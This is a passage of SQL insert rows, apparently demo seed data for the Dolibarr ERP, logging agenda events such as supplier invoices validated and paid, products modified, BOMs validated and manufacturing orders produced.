admin\nInvoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(493,'493',NULL,1,'2020-01-01 20:21:42','2020-01-01 20:21:42',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-01 20:21:42','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(494,'494',NULL,1,'2020-01-01 20:21:55','2020-01-01 20:21:55',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 20:21:55','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(495,'495',NULL,1,'2020-01-01 20:23:02','2020-01-01 20:23:02',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0007 validated','2020-01-01 20:23:02','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0007 validated',28,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(496,'496',NULL,1,'2020-01-01 20:23:17','2020-01-01 20:23:17',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 20:23:17','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(497,'497',NULL,1,'2020-01-01 20:25:36','2020-01-01 20:25:36',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI2001-0007 changed to paid','2020-01-01 20:25:36','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0007 changed to paid',28,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(498,'498',NULL,1,'2020-01-01 20:51:37','2020-01-01 20:51:37',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0002 validated','2020-01-01 20:51:37','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0002 validated',30,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(499,'499',NULL,1,'2020-01-01 20:51:48','2020-01-01 20:51:48',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0002 changed to paid','2020-01-01 20:51:48','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0002 changed to paid',30,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(500,'500',NULL,1,'2020-01-01 21:02:39','2020-01-01 21:02:39',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:02:39','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(501,'501',NULL,1,'2020-01-01 21:03:01','2020-01-01 21:03:01',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:03:01','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(502,'502',NULL,1,'2020-01-01 21:11:10','2020-01-01 21:11:10',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:11:10','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(503,'503',NULL,1,'2020-01-01 21:20:07','2020-01-01 21:20:07',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 21:20:07','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(504,'504',NULL,1,'2020-01-01 21:21:28','2020-01-01 21:21:28',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI2001-0007 changed to paid','2020-01-01 21:21:28','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0007 changed to paid',28,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(505,'505',NULL,1,'2020-01-01 22:06:30','2020-01-01 22:06:30',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 22:06:31','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',27,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(506,'506',NULL,1,'2020-01-01 23:54:16','2020-01-01 23:54:16',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2020-01-01 23:54:16','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(507,'507',NULL,1,'2020-01-02 20:49:34','2020-01-02 20:49:34',40,'AC_BILL_PAYED','Invoice FA1601-0024 changed to paid','2020-01-02 20:49:34','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1601-0024 changed to paid',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(508,'508',NULL,1,'2020-01-02 23:02:35','2020-01-02 23:02:35',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2020-01-02 23:02:35','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(509,'509',NULL,1,'2020-01-02 23:45:01','2020-01-02 23:45:01',40,'AC_BOM_REOPEN','BOM reopen','2020-01-02 23:45:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM reopen',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(511,'511',NULL,1,'2020-01-02 23:57:42','2020-01-02 23:57:42',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-02 23:57:42','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(512,'512',NULL,1,'2020-01-03 13:33:54','2020-01-03 13:33:54',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2020-01-03 13:33:54','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(513,'513',NULL,1,'2020-01-03 13:34:11','2020-01-03 13:34:11',40,'AC_BOM_VALIDATE','BOM validated','2020-01-03 13:34:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(514,'514',NULL,1,'2020-01-03 13:35:45','2020-01-03 13:35:45',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-03 13:35:45','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',18,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(515,'515',NULL,1,'2020-01-03 14:10:41','2020-01-03 14:10:41',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-03 14:10:41','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',18,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(516,'516',NULL,1,'2020-01-06 00:39:58','2020-01-06 00:39:58',40,'AC_COMPANY_CREATE','Patient créé','2020-01-06 00:39:58','2021-04-15 10:22:55',12,NULL,NULL,29,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPatient créé',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(517,'517',NULL,1,'2020-01-06 00:49:06','2020-01-06 00:49:06',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2020-01-06 00:49:06','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(518,'518',NULL,1,'2020-01-06 06:50:05','2020-01-06 06:50:05',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-06 06:50:05','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(519,'519',NULL,1,'2020-01-06 20:52:28','2020-01-06 20:52:28',40,'AC_OTH_AUTO','Consultation 2 recorded (Patient)','2020-01-06 20:52:28','2021-04-15 10:22:55',12,NULL,NULL,29,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Consultation 2 recorded (Patient)\nAuthor: admin',2,'cabinetmed_cons',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(520,'520',NULL,1,'2020-01-07 20:25:02','2020-01-07 20:25:02',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 20:25:02','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(521,'521',NULL,1,'2020-01-07 21:12:37','2020-01-07 21:12:37',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:12:37','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(522,'522',NULL,1,'2020-01-07 21:13:00','2020-01-07 21:13:00',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:13:00','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(523,'523',NULL,1,'2020-01-07 21:13:49','2020-01-07 21:13:49',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:13:49','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(524,'524',NULL,1,'2020-01-07 21:46:58','2020-01-07 21:46:58',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:46:58','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(525,'525',NULL,1,'2020-01-07 21:52:34','2020-01-07 21:52:34',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:52:34','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(526,'526',NULL,1,'2020-01-07 21:53:44','2020-01-07 21:53:44',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:53:44','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(527,'527',NULL,1,'2020-01-07 21:53:58','2020-01-07 21:53:58',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:53:58','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(528,'528',NULL,1,'2020-01-07 21:54:12','2020-01-07 21:54:12',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 21:54:12','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(529,'529',NULL,1,'2020-01-07 22:00:55','2020-01-07 22:00:55',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 22:00:55','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(530,'530',NULL,1,'2020-01-07 22:39:52','2020-01-07 22:39:52',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 22:39:52','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(531,'531',NULL,1,'2020-01-07 23:09:04','2020-01-07 23:09:04',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 23:09:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(532,'532',NULL,1,'2020-01-07 23:39:09','2020-01-07 23:39:09',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1909-0033 signed','2020-01-07 23:39:09','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0033 signed',34,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(533,'533',NULL,1,'2020-01-07 23:43:06','2020-01-07 23:43:06',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1909-0033 signed','2020-01-07 23:43:06','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0033 signed',34,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(534,'534',NULL,1,'2020-01-07 23:50:40','2020-01-07 23:50:40',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 23:50:40','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(535,'535',NULL,1,'2020-01-07 23:51:27','2020-01-07 23:51:27',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 23:51:27','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(536,'536',NULL,1,'2020-01-08 00:25:23','2020-01-08 00:25:23',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:25:23','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(537,'537',NULL,1,'2020-01-08 00:25:43','2020-01-08 00:25:43',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:25:43','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(538,'538',NULL,1,'2020-01-08 00:29:24','2020-01-08 00:29:24',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:29:24','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(539,'539',NULL,1,'2020-01-08 00:29:43','2020-01-08 00:29:43',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:29:43','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(540,'540',NULL,1,'2020-01-08 01:09:15','2020-01-08 01:09:15',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 01:09:15','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(541,'541',NULL,1,'2020-01-08 01:15:02','2020-01-08 01:15:02',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 01:15:02','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(542,'542',NULL,1,'2020-01-08 01:17:16','2020-01-08 01:17:16',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 01:17:16','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(543,'543',NULL,1,'2020-01-08 05:31:44','2020-01-08 05:31:44',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 05:31:44','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(544,'544',NULL,1,'2020-01-08 05:39:46','2020-01-08 05:39:46',40,'AC_BOM_CLOSE','BOM disabled','2020-01-08 05:39:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM disabled',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(545,'545',NULL,1,'2020-01-08 05:39:50','2020-01-08 05:39:50',40,'AC_BOM_REOPEN','BOM reopen','2020-01-08 05:39:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM reopen',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(546,'546',NULL,1,'2020-01-08 06:06:50','2020-01-08 06:06:50',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 06:06:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(547,'547',NULL,1,'2020-01-08 19:34:53','2020-01-08 19:34:53',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2020-01-08 19:34:53','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(548,'548',NULL,1,'2020-01-08 19:40:27','2020-01-08 19:40:27',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2020-01-08 19:40:27','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(549,'549',NULL,1,'2020-01-08 19:40:46','2020-01-08 19:40:46',40,'AC_PRODUCT_MODIFY','Product PINKDRESS modified','2020-01-08 19:40:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PINKDRESS modified',1,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(550,'550',NULL,1,'2020-01-08 19:40:59','2020-01-08 19:40:59',40,'AC_BOM_VALIDATE','BOM validated','2020-01-08 19:40:59','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(551,'551',NULL,1,'2020-01-08 19:41:11','2020-01-08 19:41:11',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2020-01-08 19:41:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(552,'552',NULL,1,'2020-01-08 19:41:49','2020-01-08 19:41:49',40,'AC_BOM_VALIDATE','BOM validated','2020-01-08 19:41:49','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(553,'553',NULL,1,'2020-01-08 20:12:55','2020-01-08 20:12:55',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-08 20:12:55','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',28,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(554,'554',NULL,1,'2020-01-08 20:21:22','2020-01-08 20:21:22',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 20:21:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',28,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(555,'555',NULL,1,'2020-01-08 20:41:19','2020-01-08 20:41:19',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 20:41:19','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',28,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(556,'556',NULL,1,'2020-01-08 22:25:19','2020-01-08 22:25:19',40,'AC_BOM_DELETE','BOM deleted','2020-01-08 22:25:19','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM deleted',7,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(557,'557',NULL,1,'2020-01-13 15:11:07','2020-01-13 15:11:07',40,'AC_MO_DELETE','MO_DELETEInDolibarr','2020-01-13 15:11:07','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: 